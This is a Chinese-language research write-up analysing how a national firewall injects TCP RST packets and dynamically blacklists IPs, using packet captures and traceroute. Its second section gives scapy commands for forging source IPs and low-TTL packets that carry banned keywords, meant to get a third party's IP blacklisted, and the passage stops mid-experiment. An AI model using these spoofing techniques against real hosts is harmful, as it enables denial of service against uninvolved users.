對一款國家級內容過濾系統Dos安全缺陷分析

技術小阿哥發表於2017-11-28
對某款國家級內容過濾系統Dos安全缺陷分析
Author: jianxin [80sec]

EMail: jianxin#80sec.com

Site: http://www.80sec.com

Date: 2009-1-2

From: http://www.80sec.com/release/dos-with-XXX.txt
[ 目錄 ]
0×00 前言

0×01 know it,瞭解這款內容過濾系統

0×02 Hack it,對防火牆類ids的一些安全研究

0×03 後話
0×00 前言
最近在學習網路基礎知識,秉承Hack to learn的作風,想對學習做個總結就想到分析一些網路裝置的安全問題來作為一次總結。相信對於某款國家級內容過濾系統大家都不陌生,也被稱為國家邊界防火牆,其本質上只是一款強大的入侵檢測系統,並且在某些行為發生時對網路攻擊進行實時的聯動阻斷。這裡對它的作用並不做探討,對如何繞過它也不做分析,這裡僅僅是將它看作一款功能強大的國家級IPS,從技術角度來討論下這類IPS在關鍵網路部署時可能存在的一些安全問題以及對普通網站的影響。


0×01 know it,瞭解這款內容過濾系統
同一般的入侵檢測系統或者其他號稱閘道器級別過濾系統類似,它定義了一些策略以阻止某些危險的網路訪問,其策略包含靜態封禁也包含動態封禁,譬如對於Google和Yahoo類搜尋引擎來說,國內使用者在使用這些站點時如果觸發了敏感的關鍵詞的話,其IP就會被動態封禁一段時間,幾分鐘之類將不能再使用Google,這裡的關鍵詞就是被防火牆所定義的危險行為,譬如拿關鍵詞Freenet/freenet來說,在Google裡進行一次搜尋請求之後就會發現Google在幾分鐘之內將不再能被訪問,多餘所有其他處於國外的伺服器效果也是一樣。我分析的整個過程如下:
首先對正常的一次Google訪問抓包,可以看到結果如下:
bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

22:39:26.261092 IP (tos 0×0, ttl 64, id 33001, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.44297 > 64.233.189.103.80: S, cksum 0xcc0f (correct), 1790346900:1790346900(0) win 5840 

22:39:26.349797 IP (tos 0×0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.44297: S, cksum 0×3698 (correct), 3974796664:3974796664(0) ack 1790346901 win 5672 

22:39:26.350452 IP (tos 0×0, ttl 64, id 33002, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×79d7 (correct), 1790346901:1790346901(0) ack 3974796665 win 365 

22:39:36.161454 IP (tos 0×0, ttl 64, id 33003, offset 0, flags [DF], proto TCP (6), length 67) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0xa1a9 (correct), 1790346901:1790346916(15) ack 3974796665 win 365 

22:39:36.248632 IP (tos 0×0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0×4a9a (correct), 3974796665:3974796665(0) ack 1790346916 win 89 

22:39:37.476626 IP (tos 0×0, ttl 64, id 33004, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0×3e36 (correct), 1790346916:1790346917(1) ack 3974796665 win 365 

22:39:37.563675 IP (tos 0×0, ttl 50, id 41054, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0×442e (correct), 3974796665:3974796665(0) ack 1790346917 win 89 

22:39:37.611453 IP (tos 0×0, ttl 50, id 41055, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974796665:3974798065(1400) ack 1790346917 win 89 

22:39:37.611545 IP (tos 0×0, ttl 64, id 33005, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3cb3 (correct), 1790346917:1790346917(0) ack 3974798065 win 546 

22:39:37.624333 IP (tos 0×0, ttl 50, id 41056, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974798065:3974799465(1400) ack 1790346917 win 89 

22:39:37.624364 IP (tos 0×0, ttl 64, id 33006, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3683 (correct), 1790346917:1790346917(0) ack 3974799465 win 727 

22:39:37.642937 IP (tos 0×0, ttl 50, id 41057, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974799465:3974800865(1400) ack 1790346917 win 89 

22:39:37.642953 IP (tos 0×0, ttl 64, id 33007, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3051 (correct), 1790346917:1790346917(0) ack 3974800865 win 908 

22:39:37.646286 IP (tos 0×0, ttl 50, id 41058, offset 0, flags [none], proto TCP (6), length 532) 64.233.189.103.80 > 192.168.1.4.44297: P 3974800865:3974801345(480) ack 1790346917 win 89 

22:39:37.646302 IP (tos 0×0, ttl 64, id 33008, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×2dc1 (correct), 1790346917:1790346917(0) ack 3974801345 win 1083 

22:39:37.717617 IP (tos 0×0, ttl 50, id 41059, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974801345:3974802745(1400) ack 1790346917 win 89 

22:39:37.717634 IP (tos 0×0, ttl 64, id 33009, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×2713 (correct), 1790346917:1790346917(0) ack 3974802745 win 1264 

22:39:37.736610 IP (tos 0×0, ttl 50, id 41060, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974802745:3974804145(1400) ack 1790346917 win 89 

22:39:37.736645 IP (tos 0×0, ttl 64, id 33010, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×20e1 (correct), 1790346917:1790346917(0) ack 3974804145 win 1445 

22:39:37.755088 IP (tos 0×0, ttl 50, id 41061, offset 0, flags [none], proto TCP (6), length 1449) 64.233.189.103.80 > 192.168.1.4.44297: P 3974804145:3974805542(1397) ack 1790346917 win 89 

22:39:37.755107 IP (tos 0×0, ttl 64, id 33011, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×1ab2 (correct), 1790346917:1790346917(0) ack 3974805542 win 1626
我們可以看到完整的一次請求過程,先是三次握手,然後是發資料包以及伺服器和客戶端之間的完整互動,從這裡我們可以識別出Google伺服器的一些指紋特徵,譬如未設定不分片標誌,TTL值比較恆定為50等等。

那麼當一次非法的請求發生時,情況會是怎麼樣的呢?譬如在Google裡搜尋會被封禁的關鍵詞freenet的時候,結果如下:
bt ~ # nc -vv 64.233.189.103 80

hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open

GET /?q=freenet HTTP/1.1
sent 26, rcvd 0

bt ~ #
可以看到一傳送非法的請求之後Google就主動斷開了連結,整個過程的網路抓包如下:
bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

22:54:15.744058 IP (tos 0×0, ttl 64, id 36724, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.42909 > 64.233.189.103.80: S, cksum 0xd712 (correct), 2729633795:2729633795(0) win 5840 

22:54:15.831374 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0×9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672 

22:54:15.831408 IP (tos 0×0, ttl 64, id 36725, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.42909 > 64.233.189.103.80: ., cksum 0xd4a3 (correct), 2729633796:2729633796(0) ack 1209516568 win 365 

22:54:31.619002 IP (tos 0×0, ttl 64, id 36726, offset 0, flags [DF], proto TCP (6), length 77) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0xd6e1 (correct), 2729633796:2729633821(25) ack 1209516568 win 365 

22:54:31.727889 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0×8867 (correct), 1209516568:1209516568(0) ack 2729633821 win 89 

22:54:32.065444 IP (tos 0×0, ttl 64, id 36727, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0×7cdb (correct), 2729633821:2729633822(1) ack 1209516568 win 365 

22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605

22:54:32.151504 IP (tos 0×0, ttl 50, id 12869, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0×863a (correct), 1209516568:1209516568(0) ack 2729633822 win 89 

22:54:32.151840 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0

22:54:32.153474 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×1779 (correct), 1209516568:1209516568(0) win 9805
可以看到的是,使用者在傳送完push包之後,Google的伺服器也就是64.233.189.103返回了ack資料包表示收到了該請求,並且回覆的ack包的序列號跟預期的一致,這裡有兩次push是因為我用nc提交的,加的回車會單獨發一個過去。這樣理論上伺服器應該馬上會回覆一個push包響應我們前面的請求,但是結果我們收到了一個意外的rst包如下:
22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605
並且該詭異的tcp包還發了兩次,然後我們的客戶端就以為伺服器重置了該連結,這個時候伺服器還老老實實的回覆了一個對前面的push包的確認包,不過這個包已經被前面莫名其妙的rst包用掉了,並且客戶端也按要求重置了連結,所以就回復了一個rst包:
22:54:32.151840 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0
恩,這個tcp連結到這裡玩完了。那麼這個莫名其妙的rst包是誰發出來的呢?首先來確認下是不是Google自己抽風發出來的吧。注意最上面提到的正常情況下來自Google返回的包的指紋,我們可以看到如下幾個地方發生了明顯的變化:
22:54:15.831374 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0×9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672 

22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605
首先ttl發生了變化,這在預設情況下基本代表了裝置在網路上的位置,另外ID在系統內被用來識別一個tcp包,明顯的差異過大,然後Google的伺服器還返回了一堆可選欄位的內容,但是那個怪異的rst包完全沒有這個特徵,通過這些基本可以確認這個rst包並非來自於真正的Google伺服器,通過多抓幾次資料包就可以證明這個結論。那麼這個裝置是出於哪個位置呢?我們簡單的tracert下看看結果:
traceroute to 64.233.189.103 (64.233.189.103), 30 hops max, 38 byte packets

1 localhost (192.168.1.1) 4.667 ms 1.949 ms 1.650 ms

2 114.249.208.1 (114.249.208.1) 28.304 ms 28.438 ms 34.123 ms

3 125.35.65.97 (125.35.65.97) 26.429 ms 27.363 ms 25.844 ms

4 bt-227-109.bta.net.cn (202.106.227.109) 27.641 ms 26.971 ms 27.268 ms

5 61.148.153.121 (61.148.153.121) 26.936 ms 27.722 ms 27.802 ms

6 123.126.0.121 (123.126.0.121) 27.675 ms 26.996 ms 28.620 ms

7 219.158.4.94 (219.158.4.94) 82.732 ms 82.175 ms 82.608 ms

8 219.158.3.66 (219.158.3.66) 69.978 ms 70.491 ms 136.986 ms

9 219.158.3.130 (219.158.3.130) 77.807 ms 87.424 ms 446.165 ms

10 219.158.32.230 (219.158.32.230) 413.888 ms 87.384 ms 86.614 ms

11 64.233.175.207 (64.233.175.207) 114.188 ms 79.037 ms 113.107 ms

12 209.85.241.56 (209.85.241.56) 87.721 ms 88.063 ms 87.341 ms

13 66.249.94.6 (66.249.94.6) 87.068 ms 99.377 ms 94.140 ms

14 hkg01s01-in-f103.1e100.net (64.233.189.103) 86.094 ms 85.901 ms 86.429 ms
ttl是資料包在網路上的存活時間,每經過一個路由器這個ttl就會減1,可以避免某些資料包無止境的在網路上傳輸,所以可以被用來確認裝置離我們主機在網路上的跳數和距離。我們在抓包的時候可以發現我們預設發出去的資料包ttl是64,我這裡用的是linux的系統,一般的網路裝置初始值為64,128,255,linux類系統的初始值一般都為64,所以這裡我們可以看到Google返回值是50,這是可以確認的,因為可以看到我們到google有14跳,一般linux伺服器的初始值為64,到我們這正好是50。那麼這個ttl=53的異常包是在哪呢?64-13=11,哦,應該是在11跳左右,到路由上鍊上找找就發現可能是64.233.175.207這個IP發的,但是去查卻會發現這個ip是Google的,米國人民劫持我們的資料包不讓訪問Google?不太靠譜啊,那麼很可能是從第10旁路出去的包,查查第10跳發現是網通骨幹網的,這理論上就是可能的了,當然,這之前的節點都有可能,但是最有可能的應該還是這個節點,因為這個節點可以監視所有出口的流量嘛!

再來分析下是如何拒絕掉我們的連結的,該裝置嫁接在骨幹網上,說是嫁接是因為做這個事情的應該不是骨幹路由器,從TTL或者其他一些常識可以看出來,畢竟骨幹路由上直接做操作的話風險太大了,不能影響正常應用這是防火牆起碼的要求,既然該裝置能處於這麼一個位置,那麼自然可以做到將流量以映象的方式匯入到自己的裝置上,並且實時的監視整個tcp的連結。我們知道想表示一條正常的tcp連結是需要五元組的,包括協議,源埠,源IP,目的埠,目的IP,想完整的控制一個tcp連結還需要在這個基礎上加一個seq,ack序列號表示正常的tcp進行的狀態,想猜測這些基本是不可能的。黑客多少年夢想的對這些的預測都可以輕易在骨幹路由上的旁路裝置實現,在某些省市大行劫持之道的運營商面前,黑客是個弱勢群體。既然有五元組,還有序列號,那麼對tcp的操作自然非常簡單了,最高明的就是一個rst包讓整個tcp連結直接消失掉。有些文章說這個神奇的裝置會向兩邊傳送rst包,從我的抓包分析結果來看,看起來這個結論並不可靠,如果向google傳送了rst包的話,那麼後面一個push的ack包就應該是沒有收到才對。另外可以看到,第一個push包發出去之後,這個神奇的裝置就有了反應,並不等我第二個包請求發出去湊成一個完整的http請求我們就收到了rst包,這個push包觸發了特徵了。但是我比較奇怪的是,如果是這樣,那麼很可能在時間上出現伺服器的push包比rst包先到達,這樣就起不到阻斷的作用,但是從距離和伺服器需要對請求響應這點來看,這發生的機率比較小,另外一種可能是,我們客戶端傳送的rst包到達Google伺服器的時候,伺服器的push包已經傳送到我們的客戶端了,儘管不能完成展現,但是包已經收到了,不是麼,呵呵!另外一點,從多次試驗的結果來看,我們通過在系統底層處理掉id=64的包,是可以完成這一次請求的,水平有限,以後再測試:)

但是這一次的請求被你僥倖獲取並不能意味著什麼,防火牆的另外一個強大功能你還沒有體驗,那就是灰名單動態封禁功能,通過上面的請求,你已經被認為是黑客觸發了防火牆的規則,你的ip和目標伺服器之間的請求將臨時性的出現問題。正常情況下到Google的TCP連線如下,這裡演示的是nc連結到伺服器並且斷掉的結果:
bt ~ # nc -vv 64.233.189.103 80

hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open

sent 0, rcvd 0

bt ~ #
這裡我按了下ctrl+c的
bt ~ # tcpdump -nn -vv -S port 80

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

21:53:12.553207 IP (tos 0×0, ttl 64, id 20037, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.46064 > 64.233.189.103.80: S, cksum 0xc664 (correct), 2283082267:2283082267(0) win 5840 

21:53:12.637507 IP (tos 0×0, ttl 50, id 23363, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.46064: S, cksum 0xbbe7 (correct), 889377555:889377555(0) ack 2283082268 win 5672 

21:53:12.637539 IP (tos 0×0, ttl 64, id 20038, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xff28 (correct), 2283082268:2283082268(0) ack 889377556 win 365 

21:53:18.110166 IP (tos 0×0, ttl 64, id 20039, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: F, cksum 0xf9d1 (correct), 2283082268:2283082268(0) ack 889377556 win 365 

21:53:18.206770 IP (tos 0×0, ttl 50, id 23364, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.2.46064: F, cksum 0xe535 (correct), 889377556:889377556(0) ack 2283082269 win 89 

21:53:18.206805 IP (tos 0×0, ttl 64, id 20040, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xe408 (correct), 2283082269:2283082269(0) ack 889377557 win 365
那麼如果觸發規則之後的請求是什麼樣子的呢:
bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

00:18:31.651147 IP (tos 0×0, ttl 64, id 22184, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.49124 > 64.233.189.103.80: S, cksum 0×6925 (correct), 3774335672:3774335672(0) win 5840 

00:18:31.739447 IP (tos 0×0, ttl 50, id 44562, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.49124: S, cksum 0×97db (correct), 3821251813:3821251813(0) ack 3774335673 win 5672 

00:18:31.739469 IP (tos 0×0, ttl 64, id 22185, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.49124 > 64.233.189.103.80: ., cksum 0xdb1b (correct), 3774335673:3774335673(0) ack 3821251814 win 365 

00:18:31.820608 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.49124: R, cksum 0×6ea9 (correct), 3821251814:3821251814(0) win 12379
三次握手之後,立刻那個莫名其妙rst包出現了,就在伺服器等待客戶端給它資料的時候,我們一個rst包結束了這個tcp連線的生命,這個特徵依然很明顯,id是64,ttl=53。但是在另外的一次測試過程中,我抓到了這樣的包:
bt ~ # tcpdump -nn -vv -S port 80

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

21:47:54.614462 IP (tos 0×0, ttl 64, id 20834, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.53343 > 64.233.189.103.80: S, cksum 0×8ead (correct), 1951758128:1951758128(0) win 5840 

21:47:54.691420 IP (tos 0×0, ttl 42, id 26966, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0×273e (correct), 2970573198:2970573198(0) ack 1951758129 win 453

21:47:54.691449 IP (tos 0×0, ttl 64, id 20835, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0×1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840

21:47:54.696983 IP (tos 0×0, ttl 50, id 51733, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0xa76e (correct), 794483022:794483022(0) ack 1951758129 win 5672 

21:47:54.696998 IP (tos 0×0, ttl 64, id 20836, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0×1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840

21:47:54.700298 IP (tos 0×0, ttl 43, id 26887, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×292f (correct), 794483023:794483023(0) ack 1951758129 win 454

21:47:54.769090 IP (tos 0×0, ttl 46, id 26650, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×2737 (correct), 2970573199:2970573199(0) ack 1951758129 win 457

21:47:54.769853 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xcb9f (correct), 2970573199:2970573199(0) win 18679

21:47:54.773332 IP (tos 0×0, ttl 50, id 51734, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×1497 (correct), 2970573199:2970573199(0) win 0

21:47:54.774292 IP (tos 0×0, ttl 48, id 26492, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×2735 (correct), 2970573199:2970573199(0) ack 1951758129 win 459

21:47:54.775939 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xbf63 (correct), 2970573199:2970573199(0) win 21811

21:47:54.778871 IP (tos 0×0, ttl 50, id 51735, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×1497 (correct), 2970573199:2970573199(0) win 0
一箇中間的伺服器搶在真正的Google伺服器之前給我們響應了我們的請求,而Google的回應卻因為序列號出現差錯導致伺服器給我們發重置包,而在此過程中,ttl=43,46,53,48的,ID模擬正常的伺服器向我們連回了N個rst包,這個連結必死無疑了,可見它多麼痛恨我這個連結。也許我抓到的並不是最全的,但是基本原理應該都類似的,而且這種傳送的ID,ttl都是偽造的,以這種方式很難定位到具體的裝置位置和直接過濾掉,後面會說到另外一種定位方法:)這個動態的ACL在過兩分鐘最後會被清除,使用者恢復對網站的訪問。
0×02 Hack it,對防火牆類ids的一些安全研究
我們在黑盒的方式瞭解了此類ids的基本原理之後,就可以想想這類ids的一些安全問題了,這裡說的安全問題不是上面提到的繞過,而是其他我們在日常工作中可能遇到的問題,這裡對裝置的效能測試,誤報率等也不做研究,這些也不是我們可以去考慮的問題,這裡主要是來自於一個思路,既然這個神奇的裝置已經作為一個基本安全設施,它的動態封禁機制會不會可以被利用來對某些境外的網站進行遮蔽來實現對國內使用者的Dos,據一些媒體說美國也有類似的設施,但是美國只會記錄而不會做類似於IPS的動作主動切斷有威脅的的雙方,這裡的測試不再是被動的抓包了,我們使用一款強大的網路資料包除錯工具,scapy,對於我這種只有指令碼基礎的人來說比較容易上手,基本用法如下:
Welcome to Scapy (v1.1.1 / f88d99910220)

>>> ls(IP)

version : BitField = (4)

ihl : BitField = (None)

tos : XByteField = (0)

len : ShortField = (None)

id : ShortField = (1)

flags : FlagsField = (0)

frag : BitField = (0)

ttl : ByteField = (64)

proto : ByteEnumField = (0)

chksum : XShortField = (None)

src : Emph = (None)

dst : Emph = (’127.0.0.1′)

options : IPoptionsField = (”)

>>> ls(TCP)

sport : ShortEnumField = (20)

dport : ShortEnumField = (80)

seq : IntField = (0)

ack : IntField = (0)

dataofs : BitField = (None)

reserved : BitField = (0)

flags : FlagsField = (2)

window : ShortField = (8192)

chksum : XShortField = (None)

urgptr : ShortField = (0)

options : TCPOptionsField = ({})

>>>
我們可以很簡單滴修改這些選項來構造適合自己的包並且傳送出去,譬如:
>>>send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”We are 80sec,play with packets”)
就會向Google的伺服器傳送一個源埠是57474,序列號是945149829的push包了,包的內容就是We are 80sec。

這裡測試的基本想法是,我們對一個想要攻擊的ip如121.121.121.121,想使他不能訪問google的伺服器64.233.189.103,就可以想辦法偽造一個它的ip通過這個神奇的裝置並且觸發規則就可以了。得益於國內運營商對資料包的來源有效性不會做任何限制,可以隨便偽造別的IP的資料包發到指定的地方,同樣得益於此的還有欣欣向榮的ddos行業,所以我們只要想辦法觸發這個神奇的裝置的規則就是了。

先進行最簡單的:
>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”/?q=freenet/freenet”)
這是一個完全扯淡的資料包,全部都是偽造的,如果這個資料包會觸發規則的話,那麼121.121.121.121就不能訪問64.233.189.103這個Google的ip了,結果顯而易見,沒有任何影響。我們繼續來測試,傳送:
>>> send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”/?q=freenet/freenet”)
同時在本機抓包以得到伺服器的響應,一旦成功我們就可以把源IP換成想要攻擊的IP了,發出去後只能抓到自己出去的包,沒有任何服務端的響應,自然不包括這個神奇的裝置的,抓包如下:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

00:41:29.014316 IP (tos 0×0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.57474 > 64.233.189.103.80: P, cksum 0×9fb7 (correct), 945149829:945149848(19) win 8192
這個包不只這個神奇的裝置忽略了,Google伺服器也忽略了,這裡我換了個測試環境,因為我處於NAT的環境,為了可以直接偽造所有的ip包,我使用了朋友的伺服器做測試,好處就是偽造的ip不會被NAT防火牆丟棄也不會給我轉換我的埠序列號之類。我測試了Syn,Ack等包,都發現資料包順利的到達了Google伺服器,不過沒有違反這個神奇的裝置的規則。

看來這個神奇的裝置還是有一些防範策略,沒有想象中那樣直接檢測push包,起碼是能對非法的,無效的TCP連結進行識別。很佩服防火牆的偉大,這麼大的流量還能做到這種程度,公司內部的防火牆那麼點流量還吱呀吱呀響呢,猜測沒有用,回憶前面提到的,能控制一個TCP連結需要的幾個元素,我們需要五元組,測試看看,我們先建立一條正常的到Google的連結,並且抓取五元組來測試:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

d00:49:38.694884 IP (tos 0×0, ttl 64, id 55469, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60931 > 64.233.189.103.80: S, cksum 0×188c (correct), 3664548093:3664548093(0) win 5840 

00:49:38.745534 IP (tos 0×0, ttl 51, id 57212, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.103.80 > 114.249.114.249.60931: S, cksum 0×40d4 (correct), 2550448670:2550448670(0) ack 3664548094 win 5672 

00:49:38.745546 IP (tos 0×0, ttl 64, id 55470, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60931 > 64.233.189.103.80: ., cksum 0×8548 (correct), 3664548094:3664548094(0) ack 2550448671 win 46
呵呵,然後我們構造一個接近真實的五元組都正確的連結,只有序列號是錯誤的:
>>> send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=60931,flags=”P”,seq=123456)/”/?q=freenet/freenet”)
伺服器返回
00:52:12.606688 IP (tos 0×0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.60931 > 64.233.189.103.80: P, cksum 0xbfcf (correct), 123456:123475(19) win 8192

00:52:12.657154 IP (tos 0×0, ttl 51, id 57212, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.103.80 > 114.249.114.249.60931: ., cksum 0×2be4 (correct), 2550448671:2550448671(0) ack 3664548094 win 89
資料包順利的通過了這個神奇的裝置,Google還給我們發來了糾正序列號的ack包。這個時候我就很驚奇了,對一條連結真實性的驗證可以不只到達五元組程度,甚至可以到達序列號的級別,而它所做的地方是在國家的主幹上,這幾乎是不可想象的。這個時候思考這個神奇的裝置的實現方式,可能是維護一個連結的狀態表,並且對這個表的所有狀態進行實時跟蹤,但這樣他就太吊了,這個時候開始想到用一些畸形包來測試防火牆的機制。

從前面知道,我們到Google伺服器的TTL是14跳,也就是如果我們發初始TTL小於14的話,按照TTL的基本原理,請求是不會達到Google的伺服器的,如果我們控制TTL=12的話甚至可以將包通過這個神奇的裝置但是不到達伺服器,這個時候我們知道,如果我們在兩側放置自己的機器,在另外一側可以偽造成Google的伺服器,在自己這一側偽造成目標的IP,控制TTL讓兩端的機器互相通迅觸發規則,直到被這個神奇的裝置列入灰名單,但是真正的被偽造的IP卻不會知道發生了什麼。這個思路肯定可以成功,但是之前我們可以試試其他的,畢竟我沒有國外的機器,有不有可能在一端發資料包就可以實現將別的IP列入灰名單呢?我在嘗試這個神奇的裝置跟蹤連結時的設計時找到了答案。前面我們知道,這個神奇的裝置對一個請求的跟蹤能夠達到序列號級別,這是不可思議的事情,因為計算量和資料量太大了,那個時候我就懷疑這個神奇的裝置會不會對資料包做驗證,那樣會增加計算量,對於骨幹級的裝置來說不可接受的,萬一判斷完之後真正的伺服器已經返回了就麻煩了。同時,由於這個神奇的裝置架構的設計,我們能控制資料包的出口,但是實際上資料包的返回的時候走的是可能完全不同的一條路由,所以不可能對請求的跟蹤做到雙向跟蹤,這裡的跟蹤完全可能是一種虛擬行為的,對發起請求一端的校驗。這裡的測試也很簡單,也證明了我的結論:
>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”S”,seq=1234567))

>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”A”,seq=1234568))

>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /search?hl=en&source=hp&q=freenet/freenet&oq=&aqi=1 HTTP/1.1

HOST: www.google.com

”)

